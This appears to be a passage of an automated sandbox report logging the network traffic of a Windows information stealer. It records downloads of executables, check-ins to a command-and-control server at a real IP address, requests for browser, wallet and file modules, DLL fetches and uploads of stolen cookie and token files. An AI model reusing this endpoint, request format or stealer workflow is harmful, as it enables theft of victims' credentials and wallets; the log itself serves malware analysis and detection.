Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 17:28:51 GMTContent-Type: application/octet-streamContent-Length: 1853440Last-Modified: Mon, 25 Nov 2024 17:04:15 GMTConnection: keep-aliveETag: "6744ae0f-1c4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 49 00 00 04 00 00 02 d2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 6a 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 69 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 64 63 6c 6a 74 65 6b 00 30 19 00 00 40 30 00 00 2c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 63 73 6d 72 67 76 78 00 10 00 00 00 70 49 00 00 04 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 49 00 00 22 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 17:30:10 GMTContent-Type: application/octet-streamContent-Length: 4433920Last-Modified: Mon, 25 Nov 2024 16:44:48 GMTConnection: keep-aliveETag: "6744a980-43a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 f4 de 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 43 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 43 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 39 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6e 65 72 72 70 64 67 00 00 1c 00 00 50 aa 00 00 f4 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6e 61 78 68 64 77 7a 00 10 00 00 00 50 c6 00 00 06 00 00 00 80 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c6 00 00 22 00 00 00 86 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 30 38 35 42 41 39 31 35 46 32 34 32 37 37 34 30 34 34 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="hwid"E7085BA915F2427740442------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="build"mars------BKFCAFCFBAEHIDHJDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"browsers------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="message"plugins------AKKEGHJDHDAFHIDHCFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"fplugins------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 7459Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBFIJJEBKEBFCBGDAEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file"------EBKEHJJDAAAAKECBGHDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file"------IDHIDBAEGIIIDHJKEGDB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 2d 2d 0d 0a Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="message"wallets------HDGCGHIJKEGIECBFCBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"files------KJKJKFCBKKJDGDHIDBGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: 